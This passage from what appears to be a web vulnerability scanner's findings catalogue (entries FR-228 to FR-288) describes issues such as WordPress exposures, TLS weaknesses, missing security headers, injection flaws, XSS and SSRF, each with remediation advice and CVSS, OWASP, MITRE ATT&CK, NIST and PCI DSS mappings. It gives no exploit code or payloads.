Description: A hidden form parameter or non-visible request parameter was discovered. Hidden parameters may be used to pass state or control values that are not exposed in the UI but are processed server-side.
Remediation: Review hidden parameters and ensure they do not bypass security controls or expose sensitive functionality.
Effort: Low
OWASP Web: A05:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1589 (Reconnaissance)
NIST 800-53: IA-5, SI-10
PCI DSS 4: 8.3.1
INFO FR-228 — Non-Login Form Detected
Description: A non-authentication form was detected in the application. Forms may be entry points for injection attacks, CSRF, or data manipulation vulnerabilities.
Remediation: Ensure all forms are protected against CSRF and injection. Apply input validation and output encoding.
Effort: Low
OWASP Web: A04:2025
MITRE ATT&CK: T1078 (Initial Access), T1589 (Reconnaissance)
NIST 800-53: IA-2, AC-2
PCI DSS 4: 8.2.1
INFO FR-229 — Login Page Detected
Description: An authentication login page was identified. The login page is the primary target for brute-force, credential stuffing, and authentication bypass attacks.
Remediation: Implement account lockout, rate limiting, CAPTCHA, and MFA on all login pages.
Effort: Low
OWASP Web: A07:2025
MITRE ATT&CK: T1078 (Initial Access), T1589 (Reconnaissance)
NIST 800-53: IA-2, AC-2
PCI DSS 4: 8.2.1
INFO FR-230 — Application Identified at Login Page
Description: The application technology or platform was identified from the login page appearance, form fields, or response headers. This aids attacker reconnaissance of version-specific authentication vulnerabilities.
Remediation: Suppress technology-identifying indicators from login pages.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO FR-231 — Authentication Method Identified
Description: The authentication method used by the application was identified (e.g., form-based login, HTTP Basic, Digest, NTLM, Token, TOTP MFA). Understanding the auth method helps target appropriate attack vectors.
Remediation: Use strong, modern authentication mechanisms. Ensure credentials are transmitted only over encrypted channels.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A07:2025
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO FR-232 — Password Reset Endpoint Exposed
Description: A password reset endpoint was identified. Password reset flows are frequently targeted for account takeover via insecure token handling, predictable tokens, or host header injection.
Remediation: Ensure password reset tokens are cryptographically random, single-use, and short-lived. Validate the Host header in reset link generation.
Effort: Moderate
OWASP Web: A07:2025
MITRE ATT&CK: T1078 (Initial Access), T1110 (Credential Access)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 8.3.6
INFO FR-233 — Active Session Management Interface Detected
Description: An active session management interface was detected (e.g., a page showing currently active sessions). This interface may expose session identifiers, user details, or allow unauthorised session termination.
Remediation: Restrict session management interfaces to authenticated users with appropriate roles. Ensure session identifiers are not exposed in the UI.
OWASP Web: A07:2025
INFO FR-234 — File Upload Endpoint Detected
Description: A file upload endpoint was detected. File upload functionality is a common attack vector for web shell upload, client-side XSS via crafted files, and server-side processing vulnerabilities.
Remediation: Validate file type by content inspection (not extension alone). Store uploads outside the web root. Disable execution of uploaded files. Implement file size limits and antivirus scanning.
Effort: Low
OWASP Web: A04:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
LOW FR-235 — Information Disclosure: WordPress Version
Description: The WordPress version was identified. A known version allows attackers to rapidly identify version-specific CVEs affecting WordPress core.
Remediation: Remove version disclosure from generator meta tags and restrict access to files that reveal version information. Keep WordPress core updated to the latest stable release.
OWASP Web: A06:2025
HIGH FR-236 — WordPress Vulnerability / Misconfiguration
Description: A WordPress-specific vulnerability or security misconfiguration was identified. WordPress misconfigurations may allow unauthenticated access, information disclosure, or remote code execution.
Remediation: Apply all available WordPress security patches. Review and harden WordPress security settings per the WordPress hardening guide.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
OWASP Web: A06:2025
MITRE ATT&CK: T1190 (Initial Access), T1499 (Impact)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 6.5.1
HIGH FR-237 — WordPress Users Exposed via REST API
Description: WordPress usernames were enumerated via the REST API /wp-json/wp/v2/users endpoint. Exposed usernames enable targeted brute-force and credential stuffing attacks against wp-login.php.
Remediation: Disable username exposure via the REST API by filtering the response or disabling the endpoint with appropriate plugins. Implement account lockout on wp-login.php.
OWASP Web: A01:2025
HIGH FR-238 — WordPress User Enumeration via Author Archives
Description: WordPress usernames were enumerated by probing author archive URLs (?author=N). The server redirected to user-specific author archive pages revealing valid usernames.
Remediation: Prevent author archive enumeration by redirecting /?author=N requests or using a security plugin to obfuscate author slugs.
OWASP Web: A01:2025
HIGH FR-239 — WordPress Debug Log Exposed
Description: The WordPress debug log (wp-content/debug.log) is publicly accessible. Debug logs may contain database credentials, file paths, error messages, and other sensitive internal information.
Remediation: Disable WP_DEBUG and WP_DEBUG_LOG in production. Remove the debug.log file and restrict access to wp-content/ directory.
OWASP Web: A05:2025
CRITICAL FR-240 — WordPress wp-config.php Source Code Exposed
Description: The WordPress configuration file (wp-config.php) or a backup of it is accessible and returns source code. This file contains database credentials, authentication keys, and salts.
Remediation: Move wp-config.php one directory above the web root. Block access to backup files matching wp-config patterns via .htaccess or server configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2025
MITRE ATT&CK: T1552.001 (Credential Access), T1190 (Initial Access)
NIST 800-53: CM-6, AC-3, IA-5
PCI DSS 4: 6.5.1, 8.3.2
MEDIUM FR-241 — WordPress wp-cron.php Publicly Accessible
Description: The WordPress wp-cron.php file is publicly accessible and can be triggered by external requests. Unrestricted access allows attackers to trigger scheduled tasks at will, potentially causing resource exhaustion or unintended side effects.
Remediation: Disable the default WP-Cron mechanism and replace it with a real server cron job. Block direct external access to wp-cron.php via web server configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
OWASP Web: A05:2025
MITRE ATT&CK: T1190 (Initial Access), T1499 (Impact)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-242 — WordPress Multisite Installation Detected
Description: A WordPress Multisite installation was detected. Multisite installations have a larger attack surface as vulnerabilities in one site may affect all sites in the network.
Remediation: Ensure all sites in the Multisite network are monitored and updated. Apply network-wide security controls.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
INFO FR-243 — WordPress Plugins Detected in Page Source
Description: WordPress plugin names were identified from page source references to wp-content/plugins/. Known plugin names allow attackers to check for plugin-specific CVEs.
Remediation: Dequeue unused plugins and obfuscate plugin asset paths where possible. Keep all plugins updated.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A06:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
INFO FR-244 — WordPress Parent Theme Detected
Description: A WordPress parent theme was identified. Known theme names allow attackers to check for theme-specific CVEs and misconfigurations.
Remediation: Keep all themes updated. Remove unused themes.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A06:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
HIGH FR-245 — WordPress Backup/Export File Exposed
Description: A WordPress backup or export file was found accessible on the web server. These files may contain the full database dump including user credentials, content, and configuration.
Remediation: Remove backup files from web-accessible directories. Store backups outside the document root or with access restrictions.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1552.001 (Credential Access), T1530 (Collection)
NIST 800-53: CM-6, AC-3, SC-28
PCI DSS 4: 6.5.1, 3.3.1
CRITICAL FR-246 — WordPress Configuration Backup Exposed
Description: A WordPress configuration backup file was found accessible. Configuration backups may expose database credentials, salts, and authentication keys.
Remediation: Remove configuration backup files from web-accessible directories. Ensure backup files are stored securely outside the web root.
OWASP Web: A02:2025
MEDIUM FR-247 — WordPress Directory Listing Enabled
Description: Directory listing is enabled on a WordPress directory (wp-content, plugins, themes, or uploads). This allows enumeration of installed plugins, themes, media files, and backup files.
Remediation: Disable directory listing via the web server configuration. Add Options -Indexes to .htaccess or equivalent in nginx configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
HIGH FR-248 — PHP Error Log Exposed
Description: A PHP error log file is publicly accessible. Error logs may contain database credentials, file system paths, internal function names, SQL queries, and stack traces.
Remediation: Configure PHP to log errors to a file outside the web root. Restrict web server access to log files.
OWASP Web: A05:2025
HIGH FR-249 — TimThumb Script Detected
Description: The TimThumb image resizing script was detected. Outdated versions of TimThumb contain remote file inclusion vulnerabilities that allow attackers to download and execute remote PHP code.
Remediation: Remove TimThumb from the application. If required, update to the latest version (2.8.14+) and restrict the allowed domain list.
Effort: Moderate
OWASP Web: A06:2025
MITRE ATT&CK: T1190 (Initial Access), T1505.003 (Persistence)
NIST 800-53: SI-2, CM-6
PCI DSS 4: 6.3.3, 6.5.1
HIGH FR-250 — Sensitive WordPress Path Accessible
Description: A sensitive WordPress file or directory was found publicly accessible. This may expose credentials, configuration, or internal application data.
Remediation: Restrict access to all sensitive WordPress paths via web server configuration. Review WordPress hardening guidelines.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
OWASP Web: A05:2025
MITRE ATT&CK: T1190 (Initial Access), T1499 (Impact)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-251 — Discovery: SSL/TLS Certificate
Description: TLS certificate identity and validity metadata was extracted including subject CN, issuer, Subject Alternative Names (SANs), and expiry date. This provides reference context for the certificate lifecycle and scope.
Impact: Certificate details including issuer, validity period, subject alternative names, and key parameters provide an attacker with infrastructure intelligence. This information reveals hosting relationships, internal hostnames, and certificate management practices that inform targeted attacks.
Remediation: Ensure certificate expiry is monitored with automated renewal. Verify all expected FQDNs are listed in the SAN extension.
OWASP Web: A02:2025
HIGH FR-252 — SSL/TLS Certificate: Expired
Description: The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in certificate lifecycle management.
Impact: An expired certificate causes browser warnings that train users to bypass security prompts, and in many configurations disables certificate pinning. An attacker can present their own certificate to users conditioned to click through warnings, enabling silent interception of all encrypted traffic.
Remediation: Renew the certificate immediately and implement automated renewal (e.g., ACME/Let's Encrypt) to prevent future expiry.
OWASP Web: A02:2025
HIGH FR-253 — SSL/TLS Certificate: Hostname Mismatch
Description: The TLS certificate's Subject Alternative Names do not cover the target hostname. Clients will display a certificate mismatch warning, enabling trivial MITM attacks.
Impact: A hostname mismatch indicates the certificate was issued for a different domain, causing browser warnings and potentially indicating a misconfigured or compromised service. Users who accept the mismatch become vulnerable to MITM attacks.
Remediation: Reissue the certificate to include the target hostname in the Subject Alternative Name extension.
OWASP Web: A02:2025
MEDIUM FR-254 — SSL/TLS Certificate: Self-Signed
Description: The server presented a self-signed TLS certificate not anchored to a publicly trusted CA, preventing clients from verifying the server's identity and enabling trivial MITM attacks.
Impact: Self-signed certificates are not validated by any trusted certificate authority, meaning clients cannot verify the server's identity. An attacker can trivially generate their own self-signed certificate and perform man-in-the-middle attacks without detection.
Remediation: Replace self-signed certificates with certificates issued by a trusted CA. Use ACME/Let's Encrypt for automated issuance.
OWASP Web: A02:2025
LOW FR-255 — SSL/TLS DNS: Missing CAA Record
Description: No CAA (Certification Authority Authorization) DNS record exists for the domain. Without CAA, any certificate authority can issue certificates for this domain, increasing mis-issuance risk.
Impact: Without a CAA (Certificate Authority Authorization) DNS record, any certificate authority can issue certificates for the domain. An attacker who compromises a less-secure CA or exploits a CA validation flaw can obtain a legitimate certificate for the domain, enabling transparent man-in-the-middle attacks that bypass certificate validation.
Remediation: Add a CAA record specifying the authorised CA(s) for certificate issuance.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1588.004 (Resource Development)
NIST 800-53: SC-20, SC-23
PCI DSS 4: 4.2.1
MEDIUM FR-256 — SSL/TLS Vulnerability: SWEET32
Description: 3DES cipher suites are accepted, making the server susceptible to the SWEET32 birthday attack (CVE-2016-2183). An attacker can recover plaintext from long-lived sessions using 3DES by collecting enough ciphertext blocks.
Impact: SWEET32 exploits the birthday bound weakness in 64-bit block ciphers (3DES, Blowfish) used in TLS. After capturing approximately 32GB of ciphertext from a long-lived session, an attacker can recover plaintext blocks, potentially exposing session cookies and authentication tokens.
Remediation: Disable all 3DES cipher suites. Use AEAD ciphers (AES-GCM) only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
MEDIUM FR-257 — SSL/TLS Vulnerability: BEAST
Description: TLSv1.0 is enabled with CBC cipher suites, making the server susceptible to the BEAST attack (CVE-2011-3389). BEAST allows an active MITM to partially decrypt TLS-encrypted session data.
Impact: BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability in TLS 1.0's CBC-mode cipher initialization to decrypt HTTPS cookies and authentication tokens. An attacker with network access can inject chosen plaintext to recover session secrets, enabling session hijacking.
Remediation: Disable TLSv1.0 and CBC cipher suites. Use TLS 1.2/1.3 with AEAD ciphers only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM FR-258 — SSL/TLS Vulnerability: LUCKY13
Description: CBC cipher suites are accepted, making the server susceptible to the LUCKY13 timing attack (CVE-2013-0169). LUCKY13 allows an attacker to recover plaintext from CBC-mode TLS using timing side-channels.
Impact: LUCKY13 (CVE-2013-0169) is a timing side-channel attack against CBC-mode cipher suites in TLS. An attacker with network-level access can recover plaintext from encrypted sessions by measuring processing time differences.
Remediation: Prefer AEAD cipher suites (AES-GCM/AES-CCM) over CBC-mode ciphers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
INFO FR-259 — TLS Version Identified
Description: The negotiated TLS protocol version was identified via a socket-level probe. This provides baseline TLS version context when sslscan/testssl.sh are unavailable.
Remediation: Ensure TLS 1.2 or 1.3 is negotiated. Disable TLS 1.0 and 1.1.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM FR-260 — SSL/TLS Ciphers: Weak Cipher
Description: A weak or deprecated cipher suite was identified in the server's TLS configuration. Weak ciphers may allow passive decryption of TLS traffic by a well-resourced attacker.
Remediation: Disable all weak cipher suites. Use only AEAD ciphers (AES-128-GCM, AES-256-GCM, ChaCha20-Poly1305). Enable TLS 1.3 only for new deployments.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
CRITICAL FR-261 — Heartbleed (CVE-2014-0160) Vulnerability Detected
Description: The server is vulnerable to Heartbleed (CVE-2014-0160). Attackers can read up to 64 KB of server memory per request, exposing private keys, session tokens, and credentials without authentication.
Remediation: Update OpenSSL to 1.0.1g+ or 1.0.2+. Revoke and reissue all certificates. Invalidate all active session tokens.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1552 (Credential Access), T1040 (Credential Access)
NIST 800-53: SI-2, SC-8, RA-5
PCI DSS 4: 6.3.3
CISA KEV
INFO FR-262 — SSL/TLS Grade
Description: testssl.sh assigned an overall TLS grade to the target. The grade summarises the TLS configuration quality across protocol versions, cipher suites, and certificate strength.
Impact: The SSL/TLS grade reflects the overall strength of the server's TLS configuration including protocol versions, cipher suites, and certificate properties. A low grade indicates multiple weaknesses that collectively reduce the confidentiality and integrity of encrypted communications.
Remediation: Remediate identified TLS weaknesses to achieve a grade of A or better.
OWASP Web: A02:2025
LOW FR-263 — Missing Security Header
Description: One or more HTTP security headers are absent from the server response. Missing security headers weaken the browser's ability to enforce content security policies, prevent clickjacking, and mitigate XSS.
Remediation: Configure all recommended security headers: Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy.
OWASP Web: A05:2025
LOW FR-264 — Permissive Security Header: Content-Security-Policy
Description: The Content-Security-Policy header is present but contains permissive directives such as 'unsafe-inline', 'unsafe-eval', or wildcard ('*') sources that significantly weaken its XSS protection.
Remediation: Replace permissive CSP directives with specific, trusted origins. Use nonces or hashes instead of 'unsafe-inline'.
OWASP Web: A05:2025
LOW FR-265 — Permissive Security Header: X-Frame-Options
Description: The X-Frame-Options header is set to ALLOW-FROM or is absent, allowing the page to be embedded in iframes from arbitrary origins and enabling clickjacking attacks.
Remediation: Set X-Frame-Options to DENY or SAMEORIGIN. Prefer the frame-ancestors CSP directive for modern browsers.
OWASP Web: A05:2025
LOW FR-266 — Permissive Security Header: Strict-Transport-Security
Description: The Strict-Transport-Security header is present but has an insufficient max-age value or is missing the includeSubDomains directive.
Remediation: Set HSTS max-age to at least 31536000 (1 year) and include the includeSubDomains directive. Consider adding to the HSTS preload list.
OWASP Web: A05:2025
LOW FR-267 — Permissive Security Header: Referrer-Policy
Description: The Referrer-Policy header allows sensitive URL information to be included in the Referer header sent to third-party origins, potentially leaking authentication tokens or PII.
Remediation: Set Referrer-Policy to 'strict-origin-when-cross-origin' or 'no-referrer'.
OWASP Web: A05:2025
LOW FR-268 — Permissive Security Header: X-Content-Type-Options
Description: The X-Content-Type-Options header is missing or set to a value other than 'nosniff', allowing browsers to MIME-sniff the content type and execute uploaded files as scripts.
Remediation: Set X-Content-Type-Options: nosniff on all responses.
OWASP Web: A05:2025
LOW FR-269 — Permissive Security Header: Cache-Control
Description: Sensitive pages lack appropriate Cache-Control directives, allowing browser or proxy caches to store sensitive data. Cached sensitive pages may be retrieved by other users of shared devices.
Remediation: Set 'Cache-Control: no-store, no-cache, must-revalidate' on all authenticated and sensitive pages.
OWASP Web: A05:2025
LOW FR-270 — Missing Cache-Control on Sensitive Page
Description: An authenticated or sensitive page does not set Cache-Control headers to prevent caching. The page content may be stored in browser or proxy caches and retrieved by subsequent users.
Remediation: Add 'Cache-Control: no-store, no-cache, must-revalidate' to all pages that display authenticated or sensitive data.
OWASP Web: A05:2025
LOW FR-271 — Misconfigured Expect-CT Header (max-age=0 with enforce)
Description: The Expect-CT header is set with max-age=0 and the enforce directive. This configuration is contradictory and ineffective for certificate transparency enforcement.
Remediation: Remove the enforce directive or set an appropriate max-age value for Expect-CT. Consider relying on the browser's built-in CT enforcement instead.
OWASP Web: A05:2025
INFO FR-272 — Endpoint-Specific Security Header Found
Description: A security header was found present on a specific endpoint but absent on the main application root. Inconsistent header coverage may leave some pages vulnerable despite partial protection.
Remediation: Ensure security headers are applied consistently across all application endpoints via server-level configuration rather than per-page.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
CRITICAL FR-273 — SQL Injection (Error-Based)
Description: Error-based SQL injection was detected. Database error messages containing SQL syntax are returned in response to crafted input, confirming the application is vulnerable to SQL injection and disclosing database version/structure information.
Remediation: Use parameterised queries or prepared statements. Never construct SQL queries from user input. Suppress detailed database error messages in production.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-274 — SQL Injection Confirmed by sqlmap
Description: sqlmap confirmed SQL injection on the target parameter. SQL injection allows attackers to read, modify, or delete database contents and may enable operating system command execution.
Remediation: Use parameterised queries or prepared statements. Apply input validation. Restrict database account permissions to the minimum required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-275 — Second-Order SQL Injection
Description: A second-order (stored) SQL injection vector was identified. User-supplied input stored in the database is later included in SQL queries without sanitisation when retrieved and processed.
Remediation: Apply parameterised queries at all database interaction points, not just at the input entry point. Sanitise data on retrieval as well as input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL FR-276 — OS Command Injection
Description: OS command injection was detected. User-supplied input is passed to an operating system shell without sanitisation, allowing arbitrary command execution on the server.
Remediation: Never pass user input to shell functions. Use language-native APIs instead of shell commands. If shell commands are required, use allowlisted inputs only with strict sanitisation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6, SA-11
PCI DSS 4: 6.2.4
CISA KEV
CRITICAL FR-277 — Remote Code Execution via Code Injection
Description: Server-side code injection leading to remote code execution was detected. User-supplied input is evaluated as server-side code (PHP, Python, Ruby, etc.), allowing arbitrary code execution.
Remediation: Never evaluate user-supplied input as code. Use a template engine that auto-escapes by default. Sanitise and validate all user input.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution), T1499 (Impact)
NIST 800-53: SI-10, AC-3, CM-7
PCI DSS 4: 6.2.4, 6.5.1
HIGH FR-278 — Reflected Cross-Site Scripting (XSS)
Description: Reflected XSS was detected. User-supplied input is immediately reflected in the server response without encoding, allowing attackers to inject and execute arbitrary JavaScript in the victim's browser via a crafted link.
Remediation: Apply context-sensitive output encoding for all user-controlled data. Implement a Content-Security-Policy header to restrict script execution.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
CRITICAL FR-279 — Stored Cross-Site Scripting (XSS)
Description: Stored XSS was detected. User-supplied input is persisted and later rendered in the browser without encoding, allowing an attacker to execute JavaScript in the context of any user who views the affected page.
Remediation: Apply context-sensitive output encoding at render time. Implement Content-Security-Policy. Validate and sanitise all input before storage.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
OWASP Web: A03:2025
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH FR-280 — DOM-Based Cross-Site Scripting (XSS)
Description: DOM-based XSS was detected. JavaScript in the page reads attacker-controlled data from an insecure source (URL fragment, query string, postMessage) and writes it to a dangerous sink without encoding.
Remediation: Avoid writing attacker-controllable data to dangerous DOM sinks (innerHTML, document.write, eval). Use textContent or safe DOM APIs. Apply a strict Content-Security-Policy.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH FR-281 — XSS Confirmed by dalfox
Description: dalfox confirmed a Cross-Site Scripting (XSS) vulnerability with a working payload that executes in the browser. XSS enables session hijacking, credential theft, and UI redirection.
Remediation: Apply context-sensitive output encoding. Implement a strict Content-Security-Policy. Validate and sanitise all user-supplied input.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2025
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
MEDIUM FR-282 — CSV / Formula Injection
Description: CSV/formula injection was detected. User-supplied input containing spreadsheet formula characters (=, +, -, @) is included in CSV exports without sanitisation and may execute in spreadsheet applications opened by staff.
Remediation: Prefix cell values containing formula characters with a single quote or sanitise them before CSV export. Warn users about opening untrusted CSV files.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A03:2025
MITRE ATT&CK: T1059 (Execution), T1566.002 (Initial Access)
NIST 800-53: SI-10, SI-7
PCI DSS 4: 6.2.4
MEDIUM FR-283 — CRLF Injection
Description: CRLF injection was detected. Carriage return and line feed characters in user input are reflected in HTTP response headers, allowing attackers to inject arbitrary headers or split responses.
Remediation: Strip CRLF characters from all user input used in HTTP header values. Apply output encoding at HTTP header construction points.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2025
MITRE ATT&CK: T1190 (Initial Access), T1539 (Collection)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4, 6.5.1
HIGH FR-284 — Log Injection / CRLF in Log Entries
Description: Log injection was detected. User-supplied input containing CRLF characters is written to application logs without sanitisation, allowing attackers to forge log entries and cover their tracks.
Remediation: Sanitise all user input included in log messages. Remove or encode CRLF characters before logging.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2025
MITRE ATT&CK: T1562.006 (Defense Evasion), T1070 (Defense Evasion)
NIST 800-53: AU-9, SI-10, AU-12
PCI DSS 4: 10.3.1, 6.2.4
MEDIUM FR-285 — HTTP Parameter Pollution (HPP)
Description: HTTP Parameter Pollution was detected. Duplicate query or body parameters with different values are processed inconsistently, potentially bypassing input validation or authentication checks.
Remediation: Consistently parse HTTP parameters and reject or handle duplicate parameter names explicitly. Ensure security controls operate on the same parameter value the application uses.
OWASP Web: A04:2025
MEDIUM FR-286 — HTTP Method Tampering
Description: An unexpected HTTP method was accepted by the server. Accepting non-standard methods (e.g., TRACE, PUT, DELETE, PATCH) may bypass WAF rules or expose administrative functionality.
Remediation: Restrict accepted HTTP methods to those explicitly required by the application. Return 405 Method Not Allowed for all other methods.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A04:2025
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM FR-287 — HTTP Methods: Unsafe Methods Enabled
Description: The HTTP TRACE method is enabled. TRACE echoes the full request including HTTP headers back to the client, enabling Cross-Site Tracing (XST) attacks that may expose HttpOnly cookies via XSS.
Remediation: Disable the HTTP TRACE method in the web server configuration (TraceEnable Off in Apache; disabling in nginx).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1185 (Collection), T1539 (Collection)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 6.2.4, 6.5.1
CRITICAL FR-288 — Server-Side Request Forgery (SSRF)
Description: Server-Side Request Forgery (SSRF) was detected. User-supplied URLs or hostnames are used by the server to make outbound requests without validation, allowing attackers to probe internal services, bypass firewall rules, and access cloud metadata endpoints.
